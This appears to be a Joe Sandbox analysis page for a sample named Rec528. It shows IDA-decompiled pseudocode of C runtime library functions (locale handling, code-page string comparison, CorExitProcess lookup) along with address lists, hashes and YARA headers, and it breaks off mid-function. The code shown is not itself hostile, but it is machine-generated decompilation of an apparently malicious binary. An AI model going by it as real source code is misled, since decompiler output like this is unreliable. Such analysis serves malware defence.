GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,10005EEC,?,?,10005EB4,?,?,?), ref: 10005F4F
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 10005F62
FreeLibrary.KERNEL32(00000000,?,?,10005EEC,?,?,10005EB4,?,?,?), ref: 10005F85

Strings

mscoree.dll, xrefs: 10005F48
CorExitProcess, xrefs: 10005F5A

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: a92dd6ee9455718260ff769fba3d84206b4ff5d332a667860e5915fee9962ce5
Instruction ID: 5d97cbf2e90a002395eb764664fc29351f92a058c747e73b170257a64bfa326c
Opcode Fuzzy Hash: a92dd6ee9455718260ff769fba3d84206b4ff5d332a667860e5915fee9962ce5
Instruction Fuzzy Hash: 38F01231605129FBEB02DB91CD49BAE7AB5EB44796F104164F541A2160CFB5DE00DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0041BE7C Relevance: 7.8, APIs: 5, Instructions: 255
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 72%

			E0041BE7C(void* __ebx, void* __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, signed int _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				short _v270;
				short _v272;
				char _v528;
				char _v700;
				signed int _v704;
				short _v706;
				signed int _v708;
				signed int _v712;
				signed int _v716;
				intOrPtr _v720;
				signed int _v724;
				intOrPtr _v728;
				signed int* _v732;
				signed int _v736;
				signed int _v740;
				signed int _v744;
				intOrPtr _v772;
				signed int _v784;
				void* __ebp;
				signed int _t156;
				void* _t163;
				signed int _t164;
				signed int _t166;
				signed int _t167;
				intOrPtr _t168;
				signed int _t171;
				signed int _t173;
				signed int _t174;
				signed int _t177;
				signed int _t179;
				signed int _t182;
				signed int _t183;
				signed int _t185;
				signed int _t186;
				signed int _t202;
				signed int _t204;
				signed int _t206;
				signed int _t210;
				signed int _t212;
				void* _t213;
				signed int _t220;
				intOrPtr* _t221;
				char* _t228;
				intOrPtr _t232;
				intOrPtr* _t233;
				signed int _t235;
				signed int _t240;
				signed int _t241;
				intOrPtr _t246;
				void* _t247;
				void* _t250;
				signed int _t252;
				signed int _t254;
				signed int _t257;
				signed int* _t258;
				short _t259;
				signed int _t260;
				void* _t262;
				void* _t263;
				void* _t264;

				_t244 = __edx;
				_t156 =  *0x43d054; // 0x298e9dc2
				_v8 = _t156 ^ _t260;
				_push(__ebx);
				_t212 = _a8;
				_push(__esi);
				_push(__edi);
				_t246 = _a4;
				_v736 = _t212;
				_v732 = E0041CAE3(__ecx, __edx) + 0x278;
				_t163 = E0041B567(_t212, __edx, _t246, _a12, _a12,  &_v272, 0x83,  &_v700, 0x55,  &_v716);
				_t263 = _t262 + 0x18;
				if(_t163 == 0) {
					L39:
					_t164 = 0;
					__eflags = 0;
					goto L40;
				} else {
					_t10 = _t212 + 2; // 0x6
					_t252 = _t10 << 4;
					_t166 =  &_v272;
					_v712 = _t252;
					_t244 =  *(_t252 + _t246);
					_t220 = _t244;
					while(1) {
						_v704 = _v704 & 0x00000000;
						_t254 = _v712;
						if( *_t166 !=  *_t220) {
							break;
						}
						if( *_t166 == 0) {
							L6:
							_t167 = _v704;
						} else {
							_t259 =  *((intOrPtr*)(_t166 + 2));
							_v706 = _t259;
							_t254 = _v712;
							if(_t259 !=  *((intOrPtr*)(_t220 + 2))) {
								break;
							} else {
								_t166 = _t166 + 4;
								_t220 = _t220 + 4;
								if(_v706 != 0) {
									continue;
								} else {
									goto L6;
								}
							}
						}
						L8:
						if(_t167 != 0) {
							_t221 =  &_v272;
							_t244 = _t221 + 2;
							do {
								_t168 =  *_t221;
								_t221 = _t221 + 2;
								__eflags = _t168 - _v704;
							} while (_t168 != _v704);
							_v708 = (_t221 - _t244 >> 1) + 1;
							_t171 = E0041ECAF(4 + ((_t221 - _t244 >> 1) + 1) * 2);
							_v724 = _t171;
							__eflags = _t171;
							if(_t171 == 0) {
								goto L39;
							} else {
								_v720 =  *((intOrPtr*)(_t254 + _t246));
								_v740 =  *(_t246 + 0xa0 + _t212 * 4);
								_v744 =  *(_t246 + 8);
								_t228 =  &_v272;
								_v728 = _t171 + 4;
								_t173 = E00421411(_t171 + 4, _v708, _t228);
								_t264 = _t263 + 0xc;
								__eflags = _t173;
								if(_t173 != 0) {
									_t174 = _v704;
									_push(_t174);
									_push(_t174);
									_push(_t174);
									_push(_t174);
									_push(_t174);
									E004134C4();
									asm("int3");
									_push(_t260);
									_push(_t228);
									_v784 = _v784 & 0x00000000;
									_t177 = E0041E7A1(_v772, 0x20001004,  &_v784, 2);
									__eflags = _t177;
									if(_t177 == 0) {
										L49:
										return 0xfde9;
									}
									_t179 = _v12;
									__eflags = _t179;
									if(_t179 == 0) {
										goto L49;
									}
									return _t179;
								} else {
									__eflags = _v272 - 0x43;
									 *((intOrPtr*)(_t254 + _t246)) = _v728;
									if(_v272 != 0x43) {
										L17:
										_t182 = E0041B284(_t212, _t246,  &_v700);
										_t244 = _v704;
									} else {
										__eflags = _v270;
										if(_v270 != 0) {
											goto L17;
										} else {
											_t244 = _v704;
											_t182 = _t244;
										}
									}
									 *(_t246 + 0xa0 + _t212 * 4) = _t182;
									__eflags = _t212 - 2;
									if(_t212 != 2) {
										__eflags = _t212 - 1;
										if(_t212 != 1) {
											__eflags = _t212 - 5;
											if(_t212 == 5) {
												 *((intOrPtr*)(_t246 + 0x14)) = _v716;
											}
										} else {
											 *((intOrPtr*)(_t246 + 0x10)) = _v716;
										}
									} else {
										_t258 = _v732;
										 *(_t246 + 8) = _v716;
										_v708 = _t258[8];
										_t240 = _t258[9];
										_v716 = _t240;
										while(1) {
											__eflags =  *(_t246 + 8) -  *(_t258 + _t244 * 8);
											if( *(_t246 + 8) ==  *(_t258 + _t244 * 8)) {
												break;
											}
											_t210 =  *(_t258 + _t244 * 8);
											_t240 =  *(_t258 + 4 + _t244 * 8);
											 *(_t258 + _t244 * 8) = _v708;
											 *(_t258 + 4 + _t244 * 8) = _v716;
											_t244 = _t244 + 1;
											_t212 = _v736;
											_v708 = _t210;
											_v716 = _t240;
											__eflags = _t244 - 5;
											if(_t244 < 5) {
												continue;
											} else {
											}
											L25:
											__eflags = _t244 - 5;
											if(__eflags == 0) {
												_t202 = E004217F5(__eflags, _v704, "true", 0x431520, 0x7f,  &_v528,  *(_t246 + 8), "true");
												_t264 = _t264 + 0x1c;
												__eflags = _t202;
												if(_t202 == 0) {
													_t241 = _v704;
												} else {
													_t204 = _v704;
													do {
														 *(_t260 + _t204 * 2 - 0x20c) =  *(_t260 + _t204 * 2 - 0x20c) & 0x000001ff;
														_t204 = _t204 + 1;
														__eflags = _t204 - 0x7f;
													} while (_t204 < 0x7f);
													_t206 = E00410BDA( &_v528,  *0x43d1c4, 0xfe);
													_t264 = _t264 + 0xc;
													__eflags = _t206;
													_t241 = 0 | _t206 == 0x00000000;
												}
												_t258[1] = _t241;
												 *_t258 =  *(_t246 + 8);
											}
											 *(_t246 + 0x18) = _t258[1];
											goto L37;
										}
										__eflags = _t244;
										if(_t244 != 0) {
											 *_t258 =  *(_t258 + _t244 * 8);
											_t258[1] =  *(_t258 + 4 + _t244 * 8);
											 *(_t258 + _t244 * 8) = _v708;
											 *(_t258 + 4 + _t244 * 8) = _t240;
										}
										goto L25;
									}
									L37:
									_t183 = _t212 * 0xc;
									_t111 = _t183 + 0x4315a8; // 0x40b1b0
									 *0x42e234(_t246);
									_t185 =  *((intOrPtr*)( *_t111))();
									_t232 = _v720;
									__eflags = _t185;
									if(_t185 == 0) {
										__eflags = _t232 - 0x43d290;
										if(_t232 == 0x43d290) {
											L44:
											_t186 = _v712;
										} else {
											_t257 = _t212 + _t212;
											__eflags = _t257;
											asm("lock xadd [eax], ecx");
											if(_t257 != 0) {
												goto L44;
											} else {
												E0041E238( *((intOrPtr*)(_t246 + 0x28 + _t257 * 8)));
												E0041E238( *((intOrPtr*)(_t246 + 0x24 + _t257 * 8)));
												E0041E238( *(_t246 + 0xa0 + _t212 * 4));
												_t186 = _v712;
												_t235 = _v704;
												 *(_t186 + _t246) = _t235;
												 *(_t246 + 0xa0 + _t212 * 4) = _t235;
											}
										}
										_t233 = _v724;
										 *_t233 = 1;
										_t164 =  *(_t186 + _t246);
										 *((intOrPtr*)(_t246 + 0x28 + (_t212 + _t212) * 8)) = _t233;
									} else {
										 *((intOrPtr*)(_v712 + _t246)) = _t232;
										E0041E238( *(_t246 + 0xa0 + _t212 * 4));
										 *(_t246 + 0xa0 + _t212 * 4) = _v740;
										E0041E238(_v724);
										 *(_t246 + 8) = _v744;
										goto L39;
									}
									goto L40;
								}
							}
						} else {
							_t164 = _t244;
							L40:
							_pop(_t247);
							_pop(_t250);
							_pop(_t213);
							return E0040EB3F(_t164, _t213, _v8 ^ _t260, _t244, _t247, _t250);
						}
						goto L51;
					}
					asm("sbb eax, eax");
					_t167 = _t166 | 0x00000001;
					__eflags = _t167;
					goto L8;
				}
				L51:
			}

0x0041be7c
0x0041be87
0x0041be8e
0x0041be91
0x0041be92
0x0041be95
0x0041be99
0x0041be9a
0x0041be9d
0x0041bead
0x0041bed0
0x0041bed5
0x0041beda
0x0041c190
0x0041c190
0x0041c190
0x00000000
0x0041bee0
0x0041bee0
0x0041bee3
0x0041bee6
0x0041beec
0x0041bef2
0x0041bef5
0x0041bef7
0x0041befa
0x0041bf04
0x0041bf0a
0x00000000
0x00000000
0x0041bf10
0x0041bf39
0x0041bf39
0x0041bf12
0x0041bf12
0x0041bf1a
0x0041bf21
0x0041bf27
0x00000000
0x0041bf29
0x0041bf29
0x0041bf2c
0x0041bf37
0x00000000
0x00000000
0x00000000
0x00000000
0x0041bf37
0x0041bf27
0x0041bf46
0x0041bf48
0x0041bf51
0x0041bf57
0x0041bf5a
0x0041bf5a
0x0041bf5d
0x0041bf60
0x0041bf60
0x0041bf70
0x0041bf7e
0x0041bf83
0x0041bf8a
0x0041bf8c
0x00000000
0x0041bf92
0x0041bf98
0x0041bfa5
0x0041bfae
0x0041bfb4
0x0041bfc1
0x0041bfc8
0x0041bfcd
0x0041bfd0
0x0041bfd2
0x0041c210
0x0041c216
0x0041c217
0x0041c218
0x0041c219
0x0041c21a
0x0041c21b
0x0041c220
0x0041c223
0x0041c226
0x0041c227
0x0041c239
0x0041c23e
0x0041c240
0x0041c249
0x00000000
0x0041c249
0x0041c242
0x0041c245
0x0041c247
0x00000000
0x00000000
0x0041c24f
0x0041bfd8
0x0041bfd8
0x0041bfe6
0x0041bfe9
0x0041bfff
0x0041c006
0x0041c00b
0x0041bfeb
0x0041bfeb
0x0041bff3
0x00000000
0x0041bff5
0x0041bff5
0x0041bffb
0x0041bffb
0x0041bff3
0x0041c012
0x0041c019
0x0041c01c
0x0041c11a
0x0041c11d
0x0041c12a
0x0041c12d
0x0041c135
0x0041c135
0x0041c11f
0x0041c125
0x0041c125
0x0041c022
0x0041c022
0x0041c02e
0x0041c034
0x0041c03a
0x0041c03d
0x0041c043
0x0041c046
0x0041c049
0x00000000
0x00000000
0x0041c04b
0x0041c054
0x0041c058
0x0041c061
0x0041c065
0x0041c066
0x0041c06c
0x0041c072
0x0041c078
0x0041c07b
0x00000000
0x00000000
0x0041c07d
0x0041c09c
0x0041c09c
0x0041c09f
0x0041c0bc
0x0041c0c1
0x0041c0c4
0x0041c0c6
0x0041c104
0x0041c0c8
0x0041c0c8
0x0041c0ce
0x0041c0d3
0x0041c0db
0x0041c0dc
0x0041c0dc
0x0041c0f3
0x0041c0fa
0x0041c0fd
0x0041c0ff
0x0041c0ff
0x0041c10a
0x0041c110
0x0041c110
0x0041c115
0x00000000
0x0041c115
0x0041c07f
0x0041c081
0x0041c086
0x0041c08c
0x0041c095
0x0041c098
0x0041c098
0x00000000
0x0041c081
0x0041c138
0x0041c138
0x0041c13c
0x0041c144
0x0041c14a
0x0041c14d
0x0041c153
0x0041c155
0x0041c1a1
0x0041c1a7
0x0041c1f3
0x0041c1f3
0x0041c1a9
0x0041c1ae
0x0041c1ae
0x0041c1b4
0x0041c1b8
0x00000000
0x0041c1ba
0x0041c1be
0x0041c1c7
0x0041c1d3
0x0041c1d8
0x0041c1e1
0x0041c1e7
0x0041c1ea
0x0041c1ea
0x0041c1b8
0x0041c1f9
0x0041c201
0x0041c207
0x0041c20a
0x0041c157
0x0041c15d
0x0041c167
0x0041c179
0x0041c180
0x0041c18d
0x00000000
0x0041c18d
0x00000000
0x0041c155
0x0041bfd2
0x0041bf4a
0x0041bf4a
0x0041c192
0x0041c195
0x0041c196
0x0041c199
0x0041c1a0
0x0041c1a0
0x00000000
0x0041bf48
0x0041bf41
0x0041bf43
0x0041bf43
0x00000000
0x0041bf43
0x00000000

APIs

Part of subcall function 0041CAE3: GetLastError.KERNEL32(?,?,?,004135E1,?,00000000,00405D9E,?,00418114,?,00000000,74CB6490,?,0041820D,00405D9E,00000000), ref: 0041CAE8
Part of subcall function 0041CAE3: SetLastError.KERNEL32(00000000,00000007,000000FF,?,00418114,?,00000000,74CB6490,?,0041820D,00405D9E,00000000,?,00405D9E,?), ref: 0041CB86

_free.LIBCMT ref: 0041C167
_free.LIBCMT ref: 0041C180
_free.LIBCMT ref: 0041C1BE
_free.LIBCMT ref: 0041C1C7
_free.LIBCMT ref: 0041C1D3

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast
String ID:
API String ID: 3291180501-0
Opcode ID: 214e3a9f168a88bcf07201969dbc38d6ac597e496d9aed157e134e10b5c5ef5e
Instruction ID: 12d7d066b98f0588a308fb8beaf8faf539c78727b83e721a548b39c81119b340
Opcode Fuzzy Hash: 214e3a9f168a88bcf07201969dbc38d6ac597e496d9aed157e134e10b5c5ef5e
Instruction Fuzzy Hash: A9B16975A412199BDB24DF29CC84AEAB7B4FF48304F5045AEE80AA7351D734AED0CF84

Uniqueness

Uniqueness Score: -1.00%

Function 0042A48A Relevance: 7.7, APIs: 5, Instructions: 244
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 88%

			E0042A48A(signed int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16, intOrPtr* _a20, intOrPtr* _a24, intOrPtr _a28, int _a32) {
				signed int _v8;
				char _v22;
				struct _cpinfo _v28;
				intOrPtr* _v32;
				signed int _v36;
				intOrPtr* _v40;
				signed int _v44;
				intOrPtr _v48;
				void* _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t55;
				intOrPtr* _t60;
				int _t62;
				signed int _t65;
				signed int _t66;
				intOrPtr* _t67;
				void* _t69;
				signed int _t70;
				signed int _t71;
				intOrPtr* _t77;
				char* _t79;
				char* _t80;
				intOrPtr _t95;
				intOrPtr _t96;
				intOrPtr* _t102;
				signed int _t104;
				void* _t105;
				intOrPtr* _t107;
				void* _t108;
				intOrPtr* _t109;

				_t55 =  *0x43d054; // 0x298e9dc2
				_v8 = _t55 ^ _t104;
				_t103 = _a20;
				_v44 = _a4;
				_v48 = _a8;
				_t59 = _a24;
				_v40 = _a24;
				_t102 = _a16;
				_v36 = _t102;
				if(_t103 <= 0) {
					if(_t103 < 0xffffffff) {
						goto L60;
					} else {
						goto L3;
					}
				} else {
					_t103 = E00419C0D(_t102, _t103);
					_t59 = _v40;
					L3:
					_t85 = _a28;
					if(_t85 <= 0) {
						if(_t85 < 0xffffffff) {
							goto L60;
						} else {
							goto L6;
						}
					} else {
						_t85 = E00419C0D(_t59, _t85);
						L6:
						_t62 = _a32;
						if(_t62 == 0) {
							_t62 =  *( *_v44 + 8);
							_a32 = _t62;
						}
						if(_t103 == 0 || _t85 == 0) {
							if(_t103 == _t85) {
								L59:
								_push(2);
								goto L22;
							} else {
								if(_t85 > 1) {
									L31:
									_t60 = 1;
								} else {
									if(_t103 > 1) {
										L21:
										_push(3);
										goto L22;
									} else {
										if(GetCPInfo(_t62,  &_v28) == 0) {
											goto L60;
										} else {
											if(_t103 <= 0) {
												if(_t85 <= 0) {
													goto L32;
												} else {
													if(_v28 >= 2) {
														_t79 =  &_v22;
														if(_v22 != 0) {
															_t103 = _v40;
															while(1) {
																_t95 =  *((intOrPtr*)(_t79 + 1));
																if(_t95 == 0) {
																	goto L31;
																}
																_t101 =  *_t103;
																if(_t101 <  *_t79 || _t101 > _t95) {
																	_t79 = _t79 + 2;
																	if( *_t79 != 0) {
																		continue;
																	} else {
																		goto L31;
																	}
																} else {
																	goto L59;
																}
																goto L61;
															}
														}
													}
													goto L31;
												}
											} else {
												if(_v28 >= 2) {
													_t80 =  &_v22;
													if(_v22 != 0) {
														while(1) {
															_t96 =  *((intOrPtr*)(_t80 + 1));
															if(_t96 == 0) {
																goto L21;
															}
															_t101 =  *_t102;
															if(_t101 <  *_t80 || _t101 > _t96) {
																_t80 = _t80 + 2;
																if( *_t80 != 0) {
																	continue;
																} else {
																	goto L21;
																}
															} else {
																goto L59;
															}
															goto L22;
														}
													}
												}
												goto L21;
												L22:
												_pop(_t60);
											}
										}
									}
								}
							}
						} else {
							L32:
							_t102 = 0;
							_t65 = E0041FDC8(_a32, 9, _v36, _t103, 0, 0);
							_t107 = _t105 + 0x18;
							_v44 = _t65;
							if(_t65 == 0) {
								L60:
								_t60 = 0;
							} else {
								_t101 = _t65 + _t65 + 8;
								asm("sbb eax, eax");
								_t66 = _t65 & _t65 + _t65 + 0x00000008;
								if(_t66 == 0) {
									_t67 = 0;
									_v32 = 0;
									goto L41;
								} else {
									if(_t66 > 0x400) {
										_t77 = E0041ECAF(_t66);
										_v32 = _t77;
										if(_t77 == 0) {
											goto L57;
										} else {
											 *_t77 = 0xdddd;
											goto L39;
										}
									} else {
										E0040F500(_t66);
										_t77 = _t107;
										_v32 = _t77;
										if(_t77 == 0) {
											L57:
											_t85 = _v32;
										} else {
											 *_t77 = 0xcccc;
											L39:
											_t67 = _t77 + 8;
											_v32 = _t67;
											L41:
											if(_t67 == 0) {
												goto L57;
											} else {
												_t103 = _a32;
												_t69 = E0041FDC8(_a32, "true", _v36, _a32, _t67, _v44);
												_t108 = _t107 + 0x18;
												if(_t69 == 0) {
													goto L57;
												} else {
													_t70 = E0041FDC8(_t103, 9, _v40, _t85, _t102, _t102);
													_t109 = _t108 + 0x18;
													_v36 = _t70;
													if(_t70 == 0) {
														goto L57;
													} else {
														_t101 = _t70 + _t70 + 8;
														asm("sbb eax, eax");
														_t71 = _t70 & _t70 + _t70 + 0x00000008;
														if(_t71 == 0) {
															_t103 = _t102;
															goto L52;
														} else {
															if(_t71 > 0x400) {
																_t103 = E0041ECAF(_t71);
																if(_t103 == 0) {
																	goto L55;
																} else {
																	 *_t103 = 0xdddd;
																	goto L50;
																}
															} else {
																E0040F500(_t71);
																_t103 = _t109;
																if(_t103 == 0) {
																	L55:
																	_t85 = _v32;
																} else {
																	 *_t103 = 0xcccc;
																	L50:
																	_t103 = _t103 + 8;
																	L52:
																	if(_t103 == 0 || E0041FDC8(_a32, ?str?, _v40, _t85, _t103, _v36) == 0) {
																		goto L55;
																	} else {
																		_t85 = _v32;
																		_t102 = E0041E5F1(_v48, _a12, _v32, _v44, _t103, _v36, _t102, _t102, _t102);
																	}
																}
															}
														}
														E0040EB21(_t103);
													}
												}
											}
										}
									}
								}
								E0040EB21(_t85);
								_t60 = _t102;
							}
						}
					}
				}
				L61:
				return E0040EB3F(_t60, _t85, _v8 ^ _t104, _t101, _t102, _t103);
			}

0x0042a492
0x0042a499
0x0042a4a1
0x0042a4a4
0x0042a4aa
0x0042a4ad
0x0042a4b0
0x0042a4b4
0x0042a4b7
0x0042a4bc
0x0042a4d1
0x00000000
0x00000000
0x00000000
0x00000000
0x0042a4be
0x0042a4c6
0x0042a4c8
0x0042a4d7
0x0042a4d7
0x0042a4dc
0x0042a4ee
0x00000000
0x00000000
0x00000000
0x00000000
0x0042a4de
0x0042a4e7
0x0042a4f4
0x0042a4f4
0x0042a4f9
0x0042a500
0x0042a503
0x0042a503
0x0042a508
0x0042a514
0x0042a6fa
0x0042a6fa
0x00000000
0x0042a51a
0x0042a51d
0x0042a5a6
0x0042a5a8
0x0042a523
0x0042a526
0x0042a56b
0x0042a56b
0x00000000
0x0042a528
0x0042a535
0x00000000
0x0042a53b
0x0042a53d
0x0042a575
0x00000000
0x0042a577
0x0042a57b
0x0042a581
0x0042a584
0x0042a586
0x0042a589
0x0042a589
0x0042a58e
0x00000000
0x00000000
0x0042a590
0x0042a594
0x0042a59e
0x0042a5a4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042a594
0x0042a589
0x0042a584
0x00000000
0x0042a57b
0x0042a53f
0x0042a543
0x0042a549
0x0042a54c
0x0042a54e
0x0042a54e
0x0042a553
0x00000000
0x00000000
0x0042a555
0x0042a559
0x0042a563
0x0042a569
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042a559
0x0042a54e
0x0042a54c
0x00000000
0x0042a56d
0x0042a56d
0x0042a56d
0x0042a53d
0x0042a535
0x0042a526
0x0042a51d
0x0042a5ae
0x0042a5ae
0x0042a5ae
0x0042a5bb
0x0042a5c0
0x0042a5c3
0x0042a5c8
0x0042a701
0x0042a701
0x0042a5ce
0x0042a5d1
0x0042a5d6
0x0042a5d8
0x0042a5da
0x0042a61d
0x0042a61f
0x00000000
0x0042a5dc
0x0042a5e1
0x0042a5fe
0x0042a603
0x0042a609
0x00000000
0x0042a60f
0x0042a60f
0x00000000
0x0042a60f
0x0042a5e3
0x0042a5e3
0x0042a5e8
0x0042a5ea
0x0042a5ef
0x0042a6ec
0x0042a6ec
0x0042a5f5
0x0042a5f5
0x0042a615
0x0042a615
0x0042a618
0x0042a622
0x0042a624
0x00000000
0x0042a62a
0x0042a632
0x0042a638
0x0042a63d
0x0042a642
0x00000000
0x0042a648
0x0042a651
0x0042a656
0x0042a659
0x0042a65e
0x00000000
0x0042a664
0x0042a667
0x0042a66c
0x0042a66e
0x0042a670
0x0042a6a4
0x00000000
0x0042a672
0x0042a677
0x0042a692
0x0042a697
0x00000000
0x0042a699
0x0042a699
0x00000000
0x0042a699
0x0042a679
0x0042a679
0x0042a67e
0x0042a682
0x0042a6e0
0x0042a6e0
0x0042a684
0x0042a684
0x0042a69f
0x0042a69f
0x0042a6a6
0x0042a6a8
0x00000000
0x0042a6c3
0x0042a6c3
0x0042a6dc
0x0042a6dc
0x0042a6a8
0x0042a682
0x0042a677
0x0042a6e4
0x0042a6e9
0x0042a65e
0x0042a642
0x0042a624
0x0042a5ef
0x0042a5e1
0x0042a6f0
0x0042a6f6
0x0042a6f6
0x0042a5c8
0x0042a508
0x0042a4dc
0x0042a703
0x0042a714

APIs

GetCPInfo.KERNEL32(00000000,00000001,298E9DC2,7FFFFFFF,?,?,0042A746,00000000,00000000,?,00000001,?,?,?,?,00000001), ref: 0042A52D
__alloca_probe_16.LIBCMT ref: 0042A5E3
__alloca_probe_16.LIBCMT ref: 0042A679
__freea.LIBCMT ref: 0042A6E4
__freea.LIBCMT ref: 0042A6F0

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea$Info
String ID:
API String ID: 2330168043-0
Opcode ID: f8b56ffb658fd79a13cf8f1a4e834b6736d8d54e0c4b31b1dddf638d6e353ce6
Instruction ID: 0fae774246e0f92b6ccdf6169e27fb8b70594b67fc2417edd7fe420cae46b77a
Opcode Fuzzy Hash: f8b56ffb658fd79a13cf8f1a4e834b6736d8d54e0c4b31b1dddf638d6e353ce6
Instruction Fuzzy Hash: 4081F571B002256BDF219E65A941EEF7BB59F49314F98005BEC40A7341E739CCA1CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 1000A56D Relevance: 7.7, APIs: 5, Instructions: 244
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 88%

			E1000A56D(signed int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16, intOrPtr* _a20, intOrPtr* _a24, intOrPtr _a28, int _a32) {
				signed int _v8;
				char _v22;
				struct _cpinfo _v28;
				intOrPtr* _v32;
				signed int _v36;
				intOrPtr* _v40;
				signed int _v44;
				intOrPtr _v48;
				void* _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t55;
				intOrPtr* _t60;
				int _t62;
				signed int _t65;
				signed int _t66;
				intOrPtr* _t67;
				void* _t69;
				signed int _t70;
				signed int _t71;
				intOrPtr* _t77;
				char* _t79;
				char* _t80;
				intOrPtr _t95;
				intOrPtr _t96;
				intOrPtr* _t102;
				signed int _t104;
				void* _t105;
				intOrPtr* _t107;
				void* _t108;
				intOrPtr* _t109;

				_t55 =  *0x10017004; // 0x2b917a71
				_v8 = _t55 ^ _t104;
				_t103 = _a20;
				_v44 = _a4;
				_v48 = _a8;
				_t59 = _a24;
				_v40 = _a24;
				_t102 = _a16;
				_v36 = _t102;
				if(_t103 <= 0) {
					if(_t103 < 0xffffffff) {
						goto L60;
					} else {
						goto L3;
					}
				} else {
					_t103 = E1000C6A1(_t102, _t103);
					_t59 = _v40;
					L3:
					_t85 = _a28;
					if(_t85 <= 0) {
						if(_t85 < 0xffffffff) {
							goto L60;
						} else {
							goto L6;
						}
					} else {
						_t85 = E1000C6A1(_t59, _t85);
						L6:
						_t62 = _a32;
						if(_t62 == 0) {
							_t62 =  *( *_v44 + 8);
							_a32 = _t62;
						}
						if(_t103 == 0 || _t85 == 0) {
							if(_t103 == _t85) {
								L59:
								_push(2);
								goto L22;
							} else {
								if(_t85 > 1) {
									L31:
									_t60 = 1;
								} else {
									if(_t103 > 1) {
										L21:
										_push(3);
										goto L22;
									} else {
										if(GetCPInfo(_t62,  &_v28) == 0) {
											goto L60;
										} else {
											if(_t103 <= 0) {
												if(_t85 <= 0) {
													goto L32;
												} else {
													if(_v28 >= 2) {
														_t79 =  &_v22;
														if(_v22 != 0) {
															_t103 = _v40;
															while(1) {
																_t95 =  *((intOrPtr*)(_t79 + 1));
																if(_t95 == 0) {
																	goto L31;
																}
																_t101 =  *_t103;
																if(_t101 <  *_t79 || _t101 > _t95) {
																	_t79 = _t79 + 2;
																	if( *_t79 != 0) {
																		continue;
																	} else {
																		goto L31;
																	}
																} else {
																	goto L59;
																}
																goto L61;
															}
														}
													}
													goto L31;
												}
											} else {
												if(_v28 >= 2) {
													_t80 =  &_v22;
													if(_v22 != 0) {
														while(1) {
															_t96 =  *((intOrPtr*)(_t80 + 1));
															if(_t96 == 0) {
																goto L21;
															}
															_t101 =  *_t102;
															if(_t101 <  *_t80 || _t101 > _t96) {
																_t80 = _t80 + 2;
																if( *_t80 != 0) {
																	continue;
																} else {
																	goto L21;
																}
															} else {
																goto L59;
															}
															goto L22;
														}
													}
												}
												goto L21;
												L22:
												_pop(_t60);
											}
										}
									}
								}
							}
						} else {
							L32:
							_t102 = 0;
							_t65 = E10008CD8(_a32, 9, _v36, _t103, 0, 0);
							_t107 = _t105 + 0x18;
							_v44 = _t65;
							if(_t65 == 0) {
								L60:
								_t60 = 0;
							} else {
								_t101 = _t65 + _t65 + 8;
								asm("sbb eax, eax");
								_t66 = _t65 & _t65 + _t65 + 0x00000008;
								if(_t66 == 0) {
									_t67 = 0;
									_v32 = 0;
									goto L41;
								} else {
									if(_t66 > 0x400) {
										_t77 = E1000797E(_t66);
										_v32 = _t77;
										if(_t77 == 0) {
											goto L57;
										} else {
											 *_t77 = 0xdddd;
											goto L39;
										}
									} else {
										E1000E9A0(_t66);
										_t77 = _t107;
										_v32 = _t77;
										if(_t77 == 0) {
											L57:
											_t85 = _v32;
										} else {
											 *_t77 = 0xcccc;
											L39:
											_t67 = _t77 + 8;
											_v32 = _t67;
											L41:
											if(_t67 == 0) {
												goto L57;
											} else {
												_t103 = _a32;
												_t69 = E10008CD8(_a32, "true", _v36, _a32, _t67, _v44);
												_t108 = _t107 + 0x18;
												if(_t69 == 0) {
													goto L57;
												} else {
													_t70 = E10008CD8(_t103, 9, _v40, _t85, _t102, _t102);
													_t109 = _t108 + 0x18;
													_v36 = _t70;
													if(_t70 == 0) {
														goto L57;
													} else {
														_t101 = _t70 + _t70 + 8;
														asm("sbb eax, eax");
														_t71 = _t70 & _t70 + _t70 + 0x00000008;
														if(_t71 == 0) {
															_t103 = _t102;
															goto L52;
														} else {
															if(_t71 > 0x400) {
																_t103 = E1000797E(_t71);
																if(_t103 == 0) {
																	goto L55;
																} else {
																	 *_t103 = 0xdddd;
																	goto L50;
																}
															} else {
																E1000E9A0(_t71);
																_t103 = _t109;
																if(_t103 == 0) {
																	L55:
